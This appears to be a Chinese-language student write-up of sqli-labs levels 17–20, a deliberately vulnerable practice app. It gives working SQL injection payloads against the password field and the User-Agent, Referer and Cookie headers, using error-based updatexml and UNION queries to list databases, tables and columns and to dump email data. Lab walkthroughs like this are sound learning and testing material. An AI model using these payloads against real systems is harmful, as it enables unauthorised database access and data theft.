sqli-labs less-17 --> less-20
Less-17 (报错盲注)
参考资料1:https://www.cnblogs.com/AmoBlogs/p/8673748.html
参考资料2:https://www.cnblogs.com/jinqi520/p/9550995.html
1.判断是否存在注入点
根据参考资料2了解到,该题是一个存在着密码重置功能的sql注入,先尝试username和password处都输入(‘),发现只有登录失败,没有其他信息,题目给了我们update的信息,根据资料1,对update有了一定的了解。
推测sql语句为:update users set password = ? where name =?,根据此推测,应该存在两个注入点
先尝试对name进行注入
在尝试uname=admin"&passwd=1&submit=Submit
uname=admin’&passwd=1&submit=Submit
uname=admin")&passwd=1&submit=Subm
uname=admin’)&passwd=1&submit=Submit
发现没有什么变化,猜测username可能没有注入漏洞,转而尝试对password进行注入
执行uname=admin&passwd=asmin'&submit=Submit后,出现报错,判断注入方式是: ’ ’
根据资料2,我们了解到在源码中“这里会先用uname进行查询操作,存在该用户才会进行修改操作”
2.爆库
执行uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit
3.爆表
执行uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&submit=Submit
4.爆字段
执行uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e),1)#&submit=Submit
5.爆数据
执行uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails),0x7e),1)#&submit=Submit
-------------------------------------------------------END----------------------------------------------------------------
Less-18 (http header的注入)
参考资料:https://www.cnblogs.com/jinqi520/p/9550995.html
参考资料:https://www.cnblogs.com/AmoBlogs/p/8677729.html
1.判断是否存在注入点
首先尝试登录,出现下面的一串数据,emm.....看不懂,参考上面的参考资料学习一下吧
根据提示,使用burp suite进行一下步骤,突然发现,burp suite不能抓包,
参考https://blog.csdn.net/qq_43662512/article/details/99698833 进行设置,现在开始抓包
在user-agent的后面加上单引号,出现报错,判断存在注入点
根据提示执行1',1, 1)#,未报错信息
2.爆库
执行1',1, updatexml(1,concat(0x7e,database(),0x7e),1))#
{看到源码后,代码中对uname和passwd进行了check_input()函数的处理,所以在输入uname和passwd上进行注入是不行的,但是在代码中,
我们看到了$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (‘$uagent‘, ‘$IP‘, $uname)";将useragent和ip插入到数据库中,那么我们是不是可以用这个来进行注入呢?首先这里要输入正确的账号和密码才能绕过账号密码判断,才能进入处理uagent部分}
3.爆表
执行1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
4.爆字段
执行1',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e),1))#
-------------------------------------------------------END----------------------------------------------------------------
Less-19(referer的注入)
1.判断是否存在注入点
在正确登录后,出现如下,发现与referer有关,还是用burp suite进行抓包
抓包后,在referer后面加上一个‘ ,得到如下
判断存在注入点
2.爆库
执行1',updatexml(1,concat(0x7e,database(),0x7e),1))#
3.爆表
执行1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
4.爆字段
执行 1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e),1))#
5.爆数据
执行1',updatexml(1,concat(0x7e,(select group_concat(email_id) from emails ),0x7e),1))#
-------------------------------------------------------END----------------------------------------------------------------
Less-20(Cookie处的注入)
1.判断是否存在注入点
参考资料:https://www.cnblogs.com/AmoBlogs/p/8679819.html
还是继续参考这个资料,了解到cookie这道题的实义后,依旧用burp suite,在cookie后面加上一个单引号,出现报错
突然发现这是有回显的,于是和less-1的方法一样
2.回显字段数
执行Cookie: uname=admin' order by 3#,得到回显字段为3
3.具体的回显字段位
执行Cookie: uname=-admin' union select 1,2,3#
4.爆库
执行Cookie: uname=-admin' union select 1,2,database()#
5.爆表
执行Cookie: uname=-admin' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')#
6.爆字段
执行Cookie: uname=-admin' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='emails')#
7.爆数据
执行Cookie: uname=-admin' union select 1,2,(select group_concat(email_id) from emails)#
-------------------------------------------------------END----------------------------------------------------------------